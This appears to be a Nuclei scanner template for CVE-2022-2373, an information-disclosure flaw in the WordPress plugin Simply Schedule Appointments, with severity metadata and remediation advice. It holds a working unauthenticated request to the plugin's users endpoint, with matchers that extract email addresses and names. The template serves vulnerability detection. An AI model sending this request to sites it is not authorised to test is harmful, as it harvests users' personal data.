id: CVE-2022-2373

info:
  name: WordPress Simply Schedule Appointments <1.5.7.7 - Information Disclosure
  author: theamanrawat,theabhinavgaur
  severity: medium
  description: |
    WordPress Simply Schedule Appointments plugin before 1.5.7.7 is susceptible to information disclosure. The plugin is missing authorization in a REST endpoint, which can allow an attacker to retrieve user details such as name and email address.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the target system.
  remediation: |
    Update to the latest version of the Simply Schedule Appointments plugin (1.5.7.7 or higher) to fix the information disclosure vulnerability.
  reference:
    - https://wpscan.com/vulnerability/6aa9aa0d-b447-4584-a07e-b8a0d1b83a31
    - https://wordpress.org/plugins/simply-schedule-appointments/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2373
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-2373
    cwe-id: CWE-862
    epss-score: 0.01424
    epss-percentile: 0.70274
    cpe: cpe:2.3:a:nsqua:simply_schedule_appointments:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nsqua
    product: simply_schedule_appointments
    framework: wordpress
  tags: cve,cve2022,simply-schedule-appointments,unauth,wpscan,wordpress,wp-plugin,wp,nsqua,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/ssa/v1/users"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - application/json

      - type: regex
        regex:
          - 'response_code":200'
          - '"email":"([a-zA-Z-_0-9@.]+)","display_name":"([a-zA-Z-_0-9@.]+)","gravatar_url":"http?:\\\/\\\/([a-z0-9A-Z.\\\/?=&@_-]+)"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100fb215e4652c27d614d50bd8237b5c39eb602aafa7f23eb79a57473c75e1f5872022100ccac774c6e18284f4f1709b4b33588bb3bdf93bc82081e32c83c7226bf20f8af:922c64590222798bb761d5b6d8e72950